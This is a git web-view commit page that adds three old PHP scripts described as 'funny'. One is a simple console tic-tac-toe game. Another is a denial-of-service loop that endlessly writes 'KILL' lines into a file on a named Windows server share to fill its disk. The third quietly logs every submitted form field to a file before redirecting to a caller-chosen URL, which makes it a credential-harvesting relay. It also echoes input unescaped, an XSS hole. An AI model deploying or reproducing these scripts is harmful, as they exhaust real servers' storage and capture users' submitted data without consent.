Some funny PHP scripts found on my old USB disk
authorHarvie <tomas@mudrunka.cz>
Mon, 24 May 2010 22:11:14 +0000 (00:11 +0200)
committerHarvie <tomas@mudrunka.cz>
Wed, 26 May 2010 21:45:12 +0000 (23:45 +0200)
php/MS_W_Server2003.php [new file with mode: 0755]
php/getvals.php [new file with mode: 0755]
php/tictactoe.php [new file with mode: 0755]

diff --git a/php/MS_W_Server2003.php b/php/MS_W_Server2003.php
new file mode 100755 (executable)
index 0000000..c72e995
--- /dev/null
@@ -0,0 +1,14 @@
+<?php\r
+$path = "\\\\winserver2003\\profily\\profilek";\r
+$file = "DoS.txt".rand(1,999999);\r
+\r
+while(1) {\r
+\r
+$fp = fopen("$path\\$file", "a") or die("Cannot fopen!!!\n");\r
+echo("fopen\n");\r
+while(!feof($fp)) {\r
+       fwrite($fp, "KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL-KILL\r\n");\r
+}\r
+fclose($fp);\r
+\r
+}
\ No newline at end of file
diff --git a/php/getvals.php b/php/getvals.php
new file mode 100755 (executable)
index 0000000..77db372
--- /dev/null
@@ -0,0 +1,30 @@
+<form name="mydata" action="<?php echo($_POST["serviceurl"]); ?>" method="POST">\r
+<?php\r
+//$POST["serviceurl"] = redirect adresa\r
+\r
+function form_submit($name) {\r
+       echo("\n\n<script type=\"text/javascript\">document.".$name.".submit()</script>");\r
+}\r
+\r
+///CODE//////////////////////////\r
+\r
+$out = "\r\n\r\n";\r
+foreach($_POST as $ind => $val) {\r
+       $out = $out.$ind." = ".$val."\r\n";\r
+       echo("\n<input type=\"hidden\" name=\"".$ind."\" value=\"".$val."\" />");\r
+}\r
+echo("\r\n<input type=\"submit\" name=\"mydatasubmit\">\r\n</form>");\r
+\r
+$fp = fopen("log.txt", "a");\r
+fwrite($fp, $out);\r
+fclose($fp);\r
+\r
+//Debug\r
+echo("<!--\r\n");\r
+print_r($_POST);\r
+echo("\r\n-->");\r
+\r
+//form_submit("mydata");\r
+header("Location: ".$_POST["serviceurl"]);\r
+\r
+?>\r
diff --git a/php/tictactoe.php b/php/tictactoe.php
new file mode 100755 (executable)
index 0000000..84f022f
--- /dev/null
@@ -0,0 +1,111 @@
+<?php\r
+//Tic-Tac-Toe\r
+//<- Harvie 2oo7\r
+/*\r
+Inspired by WarGames ;D\r
+*/\r
+\r
+echo("Tic-Tac-Toe (<- Harvie 2oo7)\n");\r
+echo("Inspired by WarGames ;D\n");\r
+\r
+//Settings////////////////////////////////////////////////////////\r
+  //Skin:\r
+    $cross = "X";\r
+    $circl = "O";\r
+    $versep = "|";\r
+    $horsep = "-";\r
+    $ttt = " 123456789";\r
+  //First player:\r
+    $p = false; //false - O; true - X;\r
+  //Artificial inteligency:\r
+    $ai = 0; /* AI (very poor == rand(1,9) ;)\r
+    Settings:\r
+    0 - Circle\r
+    1 - Cross\r
+    2 - Disabled\r
+    3 - PCvsPC\r
+    */\r
+\r
+//Functions//////////////////////////////////////////////////////\r
+//\r
+function ttt_print($ttt) {\r
+  $v = $GLOBALS["versep"];\r
+  $h = $GLOBALS["horsep"];\r
+\r
+  echo("\n");\r
+  echo($ttt[7].$v.$ttt[8].$v.$ttt[9]."\n");\r
+  echo("$h$h$h$h$h\n");\r
+  echo($ttt[4].$v.$ttt[5].$v.$ttt[6]."\n");\r
+  echo("$h$h$h$h$h\n");\r
+  echo($ttt[1].$v.$ttt[2].$v.$ttt[3]."\n");\r
+  echo("\n");\r
+}\r
+\r
+//\r
+function ttt_match($ttt, $place, $player) {\r
+  $x = $GLOBALS["cross"];\r
+  $o = $GLOBALS["circl"];\r
+  \r
+  if( ($place>0 && $place<10) && ($ttt[$place] != $x && $ttt[$place] != $o) &&  is_numeric($place) ) {\r
+    $ttt[$place] = $player;\r
+  } else { $GLOBALS["err"] = true; }\r
+  return $ttt;\r
+}\r
+\r
+//\r
+function ttt_check($ttt) {\r
+  $x = $GLOBALS["cross"];\r
+  $o = $GLOBALS["circl"];\r
+  //Horizontal\r
+  if( $ttt[7] == $ttt[8] && $ttt[8] == $ttt[9] ) { return 1; }\r
+  if( $ttt[4] == $ttt[5] && $ttt[5] == $ttt[6] ) { return 1; }\r
+  if( $ttt[1] == $ttt[2] && $ttt[2] == $ttt[3] ) { return 1; }\r
+  //Vertical\r
+  if( $ttt[7] == $ttt[4] && $ttt[4] == $ttt[1] ) { return 1; }\r
+  if( $ttt[8] == $ttt[5] && $ttt[5] == $ttt[2] ) { return 1; }\r
+  if( $ttt[9] == $ttt[6] && $ttt[6] == $ttt[3] ) { return 1; }\r
+  //Diagonal\r
+  if( $ttt[7] == $ttt[5] && $ttt[5] == $ttt[3] ) { return 1; }\r
+  if( $ttt[1] == $ttt[5] && $ttt[5] == $ttt[9] ) { return 1; }\r
+  //Nobody won\r
+  for($i=1;$i<strlen($ttt);$i++) {\r
+    if($ttt[$i] != $x && $ttt[$i] != $o) { return 0; }\r
+  }\r
+  return -1;\r
+}\r
+\r
+//Code///////////////////////////////////////////////////////////\r
+\r
+//Init///////////////////////////////////////////////////////////\r
+$__STDIN__ = fopen("php://stdin", "rb");\r
+$err = false;\r
+srand(time());\r
+\r
+//Go/////////////////////////////////////////////////////////////\r
+ttt_print($ttt);\r
+while(1) {\r
+  if($p) { $player = $cross; } else { $player = $circl; }\r
+  \r
+  echo("$player:");\r
+  \r
+  if( ($p == $ai || $ai == 3) && $ai != 2 ) {\r
+    $c = rand(1,9);\r
+    echo($c);\r
+  } else {\r
+    $c = "nan";\r
+    while( !is_numeric($c) ) { $c = fgetc($__STDIN__); }\r
+    //echo($c); //Debug    \r
+  }\r
+  \r
+  $ttt = ttt_match($ttt, $c, $player); if($err) { $err = false; continue; }\r
+  elseif( ($p == $ai || $ai == 3) && $ai != 2 ) { echo("\n"); }\r
+  \r
+  ttt_print($ttt);\r
+  \r
+  if(ttt_check($ttt) == -1) { echo("!!! Nobody won !!!\n"); break; }\r
+  if(ttt_check($ttt)) { echo("!!! Player $player won !!!\n"); break; }\r
+\r
+  $p = !$p;\r
+}\r
+\r
+//system("pause");\r
This page took 0.174708 seconds and 4 git commands to generate.